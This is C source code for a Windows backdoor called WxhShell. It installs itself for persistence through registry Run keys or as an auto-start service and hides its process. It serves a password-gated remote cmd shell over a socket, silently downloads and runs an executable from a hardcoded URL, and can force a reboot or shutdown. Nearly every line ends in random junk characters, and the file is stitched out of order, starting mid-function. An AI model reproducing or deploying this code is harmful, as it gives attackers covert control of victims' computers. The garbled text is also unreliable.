    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xQ@^$_  
    else { ,L`$09\  
    closesocket(wsh); p8]68!=W\F  
    ExitThread(0); beu\cV3  
    } WAS U0  
    break; #cCL.p"]  
    } u5Ftu?t  
  // 获取shell V?=8".GiX  
  case 's': { 9F*+YG!  
    CmdShell(wsh); ETXZ?\<a5  
    closesocket(wsh); `3hSL R  
    ExitThread(0); |0%+wB  
    break; X3V'Cy/sy  
  } fF V!)Zj  
  // 退出 OdB?_.+$  
  case 'x': { f4PIoZ e  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?'<nx{!c  
    CloseIt(wsh); G 8V,  
    break; Bn(W"=1  
    } 1SR+m>pL  
  // 离开 gwWN%Z"  
  case 'q': { aG 92ay  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); pb=cBZ$  
    closesocket(wsh); 7__Q1 > o  
    WSACleanup(); 4'LB7}WG  
    exit(1); mD/MJt5  
    break; 6CMub0   
        } "1HRLci  
  } k+DR]icv  
  } 'FS?a  
|\g5+fv9  
  // 提示信息 a! u rew#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j<)9dEM'  
} INyk3`FT  
  } sn?]n~z  
3dRr/Ilc  
  return; cJL'$`gWf  
} 4`8<   
r!{LLc}>  
// shell模块句柄 hc'-Dh  
int CmdShell(SOCKET sock) %Pqf{*d8  
{ 6O}`i>/6M  
STARTUPINFO si; J|w)&bV  
ZeroMemory(&si,sizeof(si)); m:/ wG& !  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; MC { 2X  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Vl2XDkhq  
PROCESS_INFORMATION ProcessInfo; )u qA(R>  
char cmdline[]="cmd"; F<(i.o(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xQp|;oW;z  
  return 0; T N!=@Gy  
} ^*fxR]Y  
lf!FTm7  
// 自身启动模式 C(K; zo*S(  
int StartFromService(void) m ]cHF.:5  
{ ;JRs?1<='  
typedef struct ($~RoQ=0S  
{ Y)}Rb6qGW  
  DWORD ExitStatus; s$a09x  
  DWORD PebBaseAddress; iIP8`! O  
  DWORD AffinityMask; *<u2:=_s  
  DWORD BasePriority; w&%~3Cz.  
  ULONG UniqueProcessId; ubmrlH\d  
  ULONG InheritedFromUniqueProcessId; fa<v0vb+  
}   PROCESS_BASIC_INFORMATION; eEn;!RS)  
V}zEK0n(6  
PROCNTQSIP NtQueryInformationProcess; p+Y>F\r&w  
<dvy"Dx   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; + Q6l*:<|c  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Zw~+Pb  
6HlePTf8  
  HANDLE             hProcess; ,yTjU{<"  
  PROCESS_BASIC_INFORMATION pbi; <fs2fTUeqF  
s\P2Bp_{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2^^=iU=!<|  
  if(NULL == hInst ) return 0; ?Sb8@S&J  
"hdvHUz  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~wVd$%7`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9,^_<O@Q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >(snII  
bl'z<S, '  
  if (!NtQueryInformationProcess) return 0; <~)kwq'  
jH6&q~#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); J;prC  
  if(!hProcess) return 0; @ G4X  
UDL RCS8i  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fhCc! \  
KW7UUXL  
  CloseHandle(hProcess); P06R JE  
?]4>rl}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); o,P.& m{?  
if(hProcess==NULL) return 0; qBT.x,$  
=ID 2  
HMODULE hMod; >X51$wBL  
char procName[255]; %b^OeWip  
unsigned long cbNeeded; MW+b;0U`#  
A3ZY~s#Iv  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); UYz0PSV=.  
8dlw-Q'S  
  CloseHandle(hProcess); @e'5E^  
|qoKO:B4-[  
if(strstr(procName,"services")) return 1; // 以服务启动 $\? yAE  
Rd>B0;4  
  return 0; // 注册表启动 a:_I  
} "ax..Mh\y  
<u=4*:QE  
// 主模块 |> _!eS\=<  
int StartWxhshell(LPSTR lpCmdLine) h/,${,}J  
{ VnT>K9&3  
  SOCKET wsl; g38&P3/  
BOOL val=TRUE; 5IbJ  
  int port=0; M1%Dg'}G  
  struct sockaddr_in door; EutP\K_Y  
%xQ.7~  
  if(wscfg.ws_autoins) Install(); C -?!S  
:#lIx%l  
port=atoi(lpCmdLine); ${8?N:>t  
4Ua> Yw0  
if(port<=0) port=wscfg.ws_port; 1lpwZ"  
-&e92g&n   
  WSADATA data; Gxa x2o  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; tM#lFmdd\P  
A?*o0I  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^xZ e2@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); s-ZI ^I2\  
  door.sin_family = AF_INET; K2<~(78C  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); z~\t|Z]G,|  
  door.sin_port = htons(port); )H}#A#ovj7  
SZ_V^UX_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4&cL[Ny  
closesocket(wsl); |G/7_+J6  
return 1; ;2m<CSv!D  
} :ah 5`nmPO  
[Ym   
  if(listen(wsl,2) == INVALID_SOCKET) { Rl6\#C*  
closesocket(wsl); Vj!rT <@  
return 1; wP/A^Rs  
} Eaqca{%/^  
  Wxhshell(wsl); ?J,AB #+  
  WSACleanup(); j.:h5Y^N  
x3zj ?-  
return 0; D\H/   
ayBRWT0  
} AE@NOM7u  
Urgtg37  
// 以NT服务方式启动 TH&qX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ++Ww88820  
{ e2-Dq]p  
DWORD   status = 0; x^*1gv $o  
  DWORD   specificError = 0xfffffff; }Up.){.%  
DKm Z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; mw^7oO#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; qSx(X!YS  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; iL7VFo:Q  
  serviceStatus.dwWin32ExitCode     = 0; bOI3^T  
  serviceStatus.dwServiceSpecificExitCode = 0; J/A[45OD  
  serviceStatus.dwCheckPoint       = 0; syzdd an  
  serviceStatus.dwWaitHint       = 0; 4"= Vq5  
_3Cn{{ A0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); U,Mx@KdV  
  if (hServiceStatusHandle==0) return; D?M!ra  
xE-7P|2  
status = GetLastError(); *XWq?hi  
  if (status!=NO_ERROR) \VSATL:]  
{ >b.^kc  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; tM j1~ R  
    serviceStatus.dwCheckPoint       = 0; Ay{t254/  
    serviceStatus.dwWaitHint       = 0; 7P7b8 ]  
    serviceStatus.dwWin32ExitCode     = status; g-vg6@6  
    serviceStatus.dwServiceSpecificExitCode = specificError; KTEZ4K^o=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ggb |Ew  
    return; 3CE[(   
  } ueG|*[  
ir3VTqz  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^ZTGJ(j7~  
  serviceStatus.dwCheckPoint       = 0; ,1/}^f6  
  serviceStatus.dwWaitHint       = 0; [4J6 iF  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); De_C F8  
} V#q}Wysft  
MP>n)!R[`  
// 处理NT服务事件,比如:启动、停止 e &9F\e  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @uH#qg7  
{ _DP|-bp D  
switch(fdwControl) ~svO*o Wa  
{ Vc3mp;6"  
case SERVICE_CONTROL_STOP: gX5&d\y  
  serviceStatus.dwWin32ExitCode = 0; z{]?h cY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; AD('=g J  
  serviceStatus.dwCheckPoint   = 0; VzlDHpG  
  serviceStatus.dwWaitHint     = 0; K^t?gt@k}  
  { rgcWRt  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W0cgI9=9  
  } vf~`eT  
  return; u2(eaP8d  
case SERVICE_CONTROL_PAUSE: W}'WA  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?nKF6 f  
  break; _w ]4~V9  
case SERVICE_CONTROL_CONTINUE: YH:8<O,{-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; FnHi(S|A  
  break; 8X?>=tl  
case SERVICE_CONTROL_INTERROGATE: %G3sjnI;l  
  break; xeTgV&$@  
}; l|/:Ot  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z"I/ NGiU  
} MQcr^Y_  
|Wj;QO$C  
// 标准应用程序主函数 \0FT!} L  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?HHzQ4w%{  
{ 99 wc  
sNU}n<J-  
// 获取操作系统版本 mE#nU(+Ta  
OsIsNt=GetOsVer(); #< CIFVH  
GetModuleFileName(NULL,ExeFile,MAX_PATH); BC\S/5~k  
l!IKUzt)7  
  // 从命令行安装 \.s`n2.w  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,R wfp=*E  
gmSQcN)  
  // 下载执行文件 ,7d|O}B  
if(wscfg.ws_downexe) { o`r(`6@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) YT yX`Y#  
  WinExec(wscfg.ws_filenam,SW_HIDE); +iF 1sC_  
} #^mqQRpgq  
1x >iz `A  
if(!OsIsNt) { KhM.Tc  
// 如果时win9x,隐藏进程并且设置为注册表启动 :]eb<J  
HideProc(); eK`PxoTI-I  
StartWxhshell(lpCmdLine); RB3 zHk%  
} {)K](S ~  
else Lu>H`B7Q"  
  if(StartFromService()) nwM)K  
  // 以服务方式启动 0-2"FdeQU  
  StartServiceCtrlDispatcher(DispatchTable); hRTMFgO  
else yFpySvj }  
  // 普通方式启动 q^bO*bv  
  StartWxhshell(lpCmdLine); );}t&}  
F;D1F+S  
return 0; mrZ`Lm#>pS  
}  ,-rB=|w  
[>w%CY<Fd  
5 d ;|=K  
r[HT9  
=========================================== w+f=RHX"{  
G?V"SU.  
QD<eQsvV  
jQtSwVDr  
,{<p  
d\]O'U)s  
" Bh`IXu  
R,Ml&4pZ}  
#include <stdio.h> Q~ 0Dfo w?  
#include <string.h> 68 x}w Ae  
#include <windows.h> MTmO>V&O  
#include <winsock2.h> q a!RH]B3  
#include <winsvc.h> ^9ng)  
#include <urlmon.h> 2@MN]Low  
Jgi Iq  
#pragma comment (lib, "Ws2_32.lib") (@ ]tG?I=  
#pragma comment (lib, "urlmon.lib") ,d 7Z  
+8^_D?*\n  
#define MAX_USER   100 // 最大客户端连接数 ^g!B.ll`  
#define BUF_SOCK   200 // sock buffer vg^Myn   
#define KEY_BUFF   255 // 输入 buffer O{n<WQd{CY  
,$Tk$  
#define REBOOT     0   // 重启 Vm!i  
#define SHUTDOWN   1   // 关机 eoJ]4-WFq  
\p6 }  
#define DEF_PORT   5000 // 监听端口 v["3  
 wOHEv^,  
#define REG_LEN     16   // 注册表键长度 .s};F/(diD  
#define SVC_LEN     80   // NT服务名长度 Bxv8RB  
H~m]nV,r  
// 从dll定义API #AncOo  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); u7muaSy  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `-D$Fsl  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); VG#Q;Xd}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); V.,bwPb{9  
_pSIJ3O  
// wxhshell配置信息 FDq{M?6i  
struct WSCFG { (2%>jg0M  
  int ws_port;         // 监听端口 rl|Q)A{  
  char ws_passstr[REG_LEN]; // 口令 KO-a; [/  
  int ws_autoins;       // 安装标记, 1=yes 0=no qeMv Vf  
  char ws_regname[REG_LEN]; // 注册表键名 N5\{yV21",  
  char ws_svcname[REG_LEN]; // 服务名 #Wx=v$"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 nW&$~d  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 rv?!y8\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2nx9#B*/T  
int ws_downexe;       // 下载执行标记, 1=yes 0=no vPsq<l}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" X,Zd=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #{w5)|S#JD  
Mdky^;qq3;  
}; gfVDqDF  
<|V'pim  
// default Wxhshell configuration 0 pNo`Bm  
struct WSCFG wscfg={DEF_PORT, 'bm:u  
    "xuhuanlingzhe", IHVMHOq}'  
    1, tw86:kYEz  
    "Wxhshell", S.]MOB dt  
    "Wxhshell", )G4rJ~#@  
            "WxhShell Service", %Qd3BZ  
    "Wrsky Windows CmdShell Service", ZeTL$E[E}  
    "Please Input Your Password: ", FF@`+T  
  1, (j=DD6fC  
  "http://www.wrsky.com/wxhshell.exe", hfh.eL  
  "Wxhshell.exe" O#PwRud$  
    }; xPvRQ  
acP ;(t  
// 消息定义模块 DvJB59:_}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; eE,;K1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; J=P;W2L  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1 mHk =J~  
char *msg_ws_ext="\n\rExit."; pVz pN8!  
char *msg_ws_end="\n\rQuit."; *2#FRA#q  
char *msg_ws_boot="\n\rReboot..."; 6puVw-X  
char *msg_ws_poff="\n\rShutdown..."; z'e1"Y.  
char *msg_ws_down="\n\rSave to "; 2MT_#r_  
*JS"(. '(  
char *msg_ws_err="\n\rErr!"; i^/Di Wdyf  
char *msg_ws_ok="\n\rOK!"; 4 4<v9uSK  
_r7=&oL.Q  
char ExeFile[MAX_PATH]; @e={Wy+Vm(  
int nUser = 0; uOb2npPj  
HANDLE handles[MAX_USER]; )BB%4=u@~.  
int OsIsNt; NlMQHma  
,W8au"  
SERVICE_STATUS       serviceStatus; :@WLGK*u.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Fu mn9  
$~Tf L{$  
// 函数声明 `~|DoSi^d  
int Install(void); `%%?zgY  
int Uninstall(void); sM0c#YK?  
int DownloadFile(char *sURL, SOCKET wsh); Kv1vx*>  
int Boot(int flag); <]c#)xg  
void HideProc(void); o6/Rx#A  
int GetOsVer(void); w. vY(s  
int Wxhshell(SOCKET wsl); ,0FwBK  
void TalkWithClient(void *cs); =E; #OZO  
int CmdShell(SOCKET sock); CHg]Ul  
int StartFromService(void); w2@"PGR  
int StartWxhshell(LPSTR lpCmdLine); o6:45  
+&?'KZ+Z_v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); l&$*}yCK  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); FQQ@kP$.  
`TAcZl=8  
// 数据结构和表定义 6l<1A$BQ  
SERVICE_TABLE_ENTRY DispatchTable[] = I=K[SY,]9  
{ L[1d&d!p  
{wscfg.ws_svcname, NTServiceMain}, {QW-g  
{NULL, NULL} TXx'7[  
}; v=j>^F Z  
G u6[{u  
// 自我安装 >]^>gUmq  
int Install(void) Io09W^  
{ 98jD"*W5  
  char svExeFile[MAX_PATH]; .r(^h/IF  
  HKEY key; G~O" /WM  
  strcpy(svExeFile,ExeFile); 2[XltjO  
0&f\7z  
// 如果是win9x系统,修改注册表设为自启动 BZ2nDW*%  
if(!OsIsNt) { l~CZW*/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I>d I[U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  JUmw$u  
  RegCloseKey(key); Ko]QCLL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8>2&h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ws. ?cCTpt  
  RegCloseKey(key); S]vW&r3`  
  return 0; KQ-,W8Q5  
    } a (P^e)<  
  } P_v0))n{  
} ]DGGcUk7  
else { EqVsxwa  
C+T&O  
// 如果是NT以上系统,安装为系统服务 r+SEw ;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 'n>EEQyp'  
if (schSCManager!=0) `D4oAx d9  
{ `!]R!T@C  
  SC_HANDLE schService = CreateService 4n#YDZ  
  ( c{^i$  
  schSCManager, E`Q;DlXv>  
  wscfg.ws_svcname, 7&=-a|k~  
  wscfg.ws_svcdisp, p| Vmdnb  
  SERVICE_ALL_ACCESS, ;HR 6X  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , VjC*(6<Gj  
  SERVICE_AUTO_START, te4F"SEf  
  SERVICE_ERROR_NORMAL, Oi6f8*,  
  svExeFile, P= &'wblm?  
  NULL, 2%`^(\y  
  NULL, P"oYC$  
  NULL, f<'n5}{RO0  
  NULL, a$~IQ2$|6  
  NULL E(7@'d{o  
  ); B:B8"ODV  
  if (schService!=0) a|8| @,  
  { =U=e?AOG2  
  CloseServiceHandle(schService); [0h* &  
  CloseServiceHandle(schSCManager); xi;/^)r  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); U? {'n#n 5  
  strcat(svExeFile,wscfg.ws_svcname); F\o;t:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { '.=Wk^,Ua  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); I93 ~8wQ  
  RegCloseKey(key); W^5<XX,ON  
  return 0; X\o/i\ C}  
    } ,:Rft  
  } w906aV*s  
  CloseServiceHandle(schSCManager); 0m]~J_   
} A*G )CG  
} Lhl$w'r  
cxAViWsf  
return 1; TP{>O%b  
} S`ax*`  
hO5K\QnRL  
// 自我卸载 "PZYgl  
int Uninstall(void) pESB Il  
{ {E;2&d  
  HKEY key; w> Tyk#7lw  
IXbdS9,>F  
if(!OsIsNt) { IlcNT_ 5a8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Pd)K^;em  
  RegDeleteValue(key,wscfg.ws_regname); z\xiACIc  
  RegCloseKey(key); .jvSAV5B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3'?h;`v\Lo  
  RegDeleteValue(key,wscfg.ws_regname); omXBnzT  
  RegCloseKey(key); ) j{WeG7L  
  return 0; %bCcsdK  
  } %KbBH:z05  
} t-.2 +6"\  
} dE 3i=  
else { I;`Ko_i  
04I6 -}6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Y&oP>n! ei  
if (schSCManager!=0) ):/<H  
{ 1mT|o_K{ T  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); cmwzKu%  
  if (schService!=0) 34X(J-1\|i  
  { f}L>&^I)  
  if(DeleteService(schService)!=0) { u@GRN`yn  
  CloseServiceHandle(schService); nQ:ml  
  CloseServiceHandle(schSCManager); *,O :>Z5I  
  return 0; +O;OSZ  
  } X{0ax.  
  CloseServiceHandle(schService); se<i5JsSV  
  } =fKhXd  
  CloseServiceHandle(schSCManager); Hv[d<ylO  
} 8+*g4=ws  
} ]&3s6{R  
*%ed;>6:Q  
return 1;  :pA=V  
} N+Q(V*:3v  
g\ 8#:@at  
// 从指定url下载文件 nU=f<]S=  
int DownloadFile(char *sURL, SOCKET wsh) "7To c4  
{ ^q4l4)8jX  
  HRESULT hr; yRgDhA  
char seps[]= "/"; :J=+;I(UI  
char *token; F'V +2,.  
char *file; c7FfI"7HR  
char myURL[MAX_PATH]; #Pb7EL#c  
char myFILE[MAX_PATH]; a}5vY  
O0K@M  
strcpy(myURL,sURL); H]% mP|  
  token=strtok(myURL,seps); ?c|`R1D  
  while(token!=NULL) U6/m_`nc  
  { :0J-ek.;  
    file=token; jw`&Np2Q  
  token=strtok(NULL,seps); ef;& Y>/  
  } 'DL;c@}37  
zPX=MfF  
GetCurrentDirectory(MAX_PATH,myFILE); @&~OB/7B:  
strcat(myFILE, "\\"); k#8S`W8^  
strcat(myFILE, file); j6&zRFX  
  send(wsh,myFILE,strlen(myFILE),0); G/LXUhuif  
send(wsh,"...",3,0); hO+O0=$}wN  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -(4E  
  if(hr==S_OK) |x _ -I#H  
return 0; _|^&eT-u  
else d&[M8(  
return 1; *pcbwd!/  
ZaukMEq  
} oW yN:Qh  
b6LC$"t0  
// 系统电源模块 E]HND.`*>  
int Boot(int flag) D+*uKldS;  
{ gTmUK{y'  
  HANDLE hToken; c~^]jqid]  
  TOKEN_PRIVILEGES tkp; aIzp\$NWVK  
[#STR=_f  
  if(OsIsNt) { zVc7q7E  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \,@Yl.,+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); V'HlAQr  
    tkp.PrivilegeCount = 1; #VQGN2bK.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; '-nuH;r  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ovaj":L  
if(flag==REBOOT) { +eV4g2w)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jza}-=&+e  
  return 0; < tu[cA>  
} '?vgp  
else { T>%uRK$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0%A(dJA6  
  return 0; Qq;m"M/  
} :oon}_MdRd  
  } M0;t%*1  
  else { q/rHHuY}  
if(flag==REBOOT) { #o;CmB  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) q[y,J  
  return 0; s0`|G|.}  
} ={mPg+Ei'  
else { (IoPU+1b  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) y:hCBgc;`c  
  return 0; 7{kpx$:_  
} QigoRB!z#9  
} lt2Nwt0bv  
Y1Gg (z  
return 1; Rktn/Vi  
} <u x*r#a!d  
{d?4;Kd  
// win9x进程隐藏模块 ,#'o)O#  
void HideProc(void) xnhDW7m  
{ }(g+:]p-  
i)ES;b4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); HYI1 o/}  
  if ( hKernel != NULL ) 764}yV>  
  {  f>wW}-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Il&"=LooZ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5uD#=/oV  
    FreeLibrary(hKernel); jnU*l\,  
  } jOm&yX  
mP5d!+[8  
return; Ch \ed|u  
} {'c%#\  
WDH[kJ  
// 获取操作系统版本 u':0"5}  
int GetOsVer(void) :m)Rmwn_  
{ giSG 6'WA  
  OSVERSIONINFO winfo; ~*cY&  9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]UCk_zWsn1  
  GetVersionEx(&winfo); ik1L  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) R.2KYhp ,  
  return 1; rmg";(I  
  else |S>J<]H p  
  return 0; cO=UswIkwO  
} =-Q  
%)6 :eIS  
// 客户端句柄模块 zfr(dQ  
int Wxhshell(SOCKET wsl) r"u(!~R  
{ q/w6sQx$  
  SOCKET wsh; T`w};]z^d2  
  struct sockaddr_in client; *09\\ G  
  DWORD myID; qK6  uU9z  
32-3C6f@oZ  
  while(nUser<MAX_USER) bKt3x+x(  
{ [Tb3z:UUvf  
  int nSize=sizeof(client); |q!2i  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ti@P4:q  
  if(wsh==INVALID_SOCKET) return 1; dl7p1Cr  
*F8 uu.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); C!/8e (!N  
if(handles[nUser]==0) `i>B|g-  
  closesocket(wsh); Z_OqXo=  
else 9h,yb4jPP  
  nUser++; v4k=NH+w  
  } :DX/r  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); C1P t3  
` .sIZku  
  return 0; ^K 77V$v  
} 8#Z\}gGz  
%dk$K!5D0  
// 关闭 socket "za*$DU  
void CloseIt(SOCKET wsh) k0 e|8g X  
{ #Mem2cz  
closesocket(wsh); 1:{O RX[;  
nUser--; jXDzjt94J  
ExitThread(0); Uhx2 _  
} RJ@e5A6_  
|_xiG~  
// 客户端请求句柄 "w|k\1D  
void TalkWithClient(void *cs) Ppb2"Ik  
{ /wxxcq  
.IAHy)li"  
  SOCKET wsh=(SOCKET)cs; LWb}) #E  
  char pwd[SVC_LEN]; CQuvbAo  
  char cmd[KEY_BUFF];  RoM*Qjw  
char chr[1]; wmcp`8w.  
int i,j; rW%'M#! =  
~tj7zI6  
  while (nUser < MAX_USER) { P2:Q+j:PX  
X"khuyT_  
if(wscfg.ws_passstr) { 8JFkeU%yO  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ah6F^Kpl{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %k;FxUKi  
  //ZeroMemory(pwd,KEY_BUFF); yY g&'3  
      i=0; CL}I:/zRB  
  while(i<SVC_LEN) { n$![b_)*  
DwrCysIK  
  // 设置超时 'm!1 1Phe  
  fd_set FdRead; x]J-q5  
  struct timeval TimeOut; &\]f!'jV  
  FD_ZERO(&FdRead); \=G Xe.}4d  
  FD_SET(wsh,&FdRead); ~z1KD)^   
  TimeOut.tv_sec=8; wsGq>F~  
  TimeOut.tv_usec=0; NMY!-Kv 5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &qI5*aQ8T  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); oJp_c  
mlw BATi  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $XU$?_O  
  pwd=chr[0]; V_d%g<n4  
  if(chr[0]==0xd || chr[0]==0xa) { UCj#t!Mw  
  pwd=0; Dp6"I!L<|  
  break; 5~R{,]52  
  } S| -{wC%  
  i++; w>q_8V_K  
    } ]aW.b_7<9  
[ MXXY  
  // 如果是非法用户,关闭 socket ?QIQ,?.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <sFf'W_3{  
} yExyx?j.  
m}'@S+k^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Rw=E_q{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); , G/X"t ~  
jeBj   
while(1) { @k #y-/~?  
oJu4vGy0  
  ZeroMemory(cmd,KEY_BUFF); r~Ubgd ]U  
rMFZ#38d  
      // 自动支持客户端 telnet标准   F5Q. Vh  
  j=0; +4p ;4/=  
  while(j<KEY_BUFF) { U)%u`C0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Jsnmn$C  
  cmd[j]=chr[0]; [[DFEvOEh  
  if(chr[0]==0xa || chr[0]==0xd) { 3@ukkO)   
  cmd[j]=0; 5'Ay@FJ:  
  break; qlT:9*&g  
  } fU~y481 A  
  j++; _,?HrL9  
    } n *0F  
o%>nu  
  // 下载文件 nMoF;AdKm  
  if(strstr(cmd,"http://")) { Oc+L^}elJ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4_:e+ ql  
  if(DownloadFile(cmd,wsh)) td$6:)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); xENA:j?kF  
  else 44{:UhJkx  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 128 rly  
  } CrX-?$  
  else { ?iO^b.'I#  
7IW7'klkvD  
    switch(cmd[0]) { \mit&EUh}  
  A_ z:^9  
  // 帮助 %a^!~qV  
